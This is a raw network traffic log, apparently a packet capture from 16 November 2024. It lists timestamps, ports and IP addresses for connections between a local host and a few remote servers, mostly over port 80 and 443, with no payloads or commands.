Nov 16, 2024 13:01:37.603413105 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.603424072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.603435040 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.603446960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.603486061 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.603486061 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.603929996 CET	49850	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.603935957 CET	443	49850	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.626909971 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.627563000 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.627576113 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.628248930 CET	49848	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.628256083 CET	443	49848	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.638212919 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.638276100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.638287067 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.638303041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.638314009 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.638324976 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.638324976 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.638324976 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.638364077 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.638364077 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673248053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673312902 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673361063 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673362017 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673569918 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673580885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673595905 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673614979 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673615932 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673625946 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673635960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673648119 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673659086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673667908 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673669100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673667908 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673681021 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673692942 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673706055 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673706055 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673710108 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673747063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673747063 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673758030 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673801899 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673801899 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673866034 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673880100 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673897028 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673907995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673921108 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.673938036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.673938036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674026966 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674041986 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674048901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674058914 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674067020 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674092054 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674101114 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674137115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674137115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674273014 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674284935 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674293995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674333096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674345016 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674345970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674345016 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674360991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674392939 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674392939 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674454927 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674479961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674490929 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674499989 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674526930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674535990 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674546003 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674551010 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674551010 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674556017 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674586058 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674643993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674720049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674760103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674855947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674866915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674875975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674885988 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674896002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674906969 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674917936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674926996 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674932957 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674932957 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674938917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.674968004 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674968004 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.674983978 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.675153017 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675163031 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675205946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.675226927 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675239086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675246954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675257921 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675266981 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675290108 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.675290108 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.675293922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675307035 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.675311089 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675324917 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675335884 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675337076 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.675348043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675359011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675368071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.675384998 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.675384998 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.675426960 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678194046 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678206921 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678216934 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678280115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678280115 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678392887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678407907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678422928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678433895 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678442955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678447962 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678457022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678467035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678476095 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678477049 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678478003 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678489923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678503036 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678514004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678519011 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678519011 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678524971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678536892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678565025 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678565025 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678576946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678889036 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678898096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678908110 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678962946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678962946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.678986073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.678996086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679105043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679116011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679126024 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.679126978 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679142952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679152966 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679162979 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679167986 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.679167986 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.679207087 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.679250002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.679414034 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679424047 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679434061 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679444075 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679452896 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679462910 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679472923 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679488897 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.679488897 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.679507017 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679517984 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679527998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679543972 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679553032 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.679553032 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.679554939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.679594994 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.679594994 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680056095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680068016 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680077076 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680087090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680097103 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680114031 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680130005 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680138111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680139065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680138111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680150986 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680160999 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680171967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680176973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680176973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680182934 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680192947 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680202961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680212975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680217981 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680217981 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680227041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680237055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680248022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680258989 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680270910 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680270910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680270910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680283070 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680299997 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680299997 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680453062 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680809975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680860043 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680898905 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680911064 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680922985 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680933952 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680949926 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680962086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.680984020 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.680984020 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.681010962 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.681022882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.681035995 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.681046963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.681057930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.681062937 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.681062937 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.681071043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.681082964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.681094885 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.681097031 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.681097031 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.681107044 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.681147099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.681147099 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.683839083 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:37.683871031 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.684570074 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.684581041 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.684597015 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.684607029 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.684617996 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:37.684627056 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.684653997 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:37.685084105 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.685170889 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:37.685709000 CET	49852	443	192.168.2.5	23.218.232.182
Nov 16, 2024 13:01:37.685725927 CET	443	49852	23.218.232.182	192.168.2.5
Nov 16, 2024 13:01:37.687164068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.687184095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.687194109 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.687253952 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.687253952 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.687280893 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.687293053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.687304974 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.687335014 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.687354088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.687362909 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.687374115 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.687386990 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.687397957 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.687402964 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.687412977 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.687453985 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.687453985 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.716456890 CET	443	49849	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.716599941 CET	443	49849	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.717015028 CET	49849	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.717113972 CET	49849	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.717138052 CET	443	49849	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.717153072 CET	49849	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.717160940 CET	443	49849	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.720247984 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.720304966 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.720514059 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.721021891 CET	49861	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.721035004 CET	443	49861	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.722409010 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722419977 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722429991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722537041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722547054 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722556114 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722563028 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.722567081 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722579002 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722589970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722595930 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.722595930 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.722601891 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722613096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722623110 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722640038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722650051 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722652912 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.722652912 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.722660065 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.722695112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.722695112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.722750902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:37.732446909 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.732628107 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.732734919 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.732870102 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.732877016 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.732891083 CET	49851	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.732896090 CET	443	49851	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.733453989 CET	443	49850	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.733594894 CET	443	49850	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.733663082 CET	49850	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.734344006 CET	49850	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.734344006 CET	49850	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.734357119 CET	443	49850	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.734366894 CET	443	49850	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.737406015 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.737426996 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.737493038 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.737632990 CET	49862	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.737649918 CET	443	49862	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.737917900 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.737934113 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.738066912 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.738066912 CET	49863	443	192.168.2.5	13.107.246.45
Nov 16, 2024 13:01:37.738090992 CET	443	49863	13.107.246.45	192.168.2.5
Nov 16, 2024 13:01:37.756936073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.756953955 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.756963015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.756973028 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.757030010 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:37.757040977 CET	80	49802	185.215.113.206	192.168.2.5
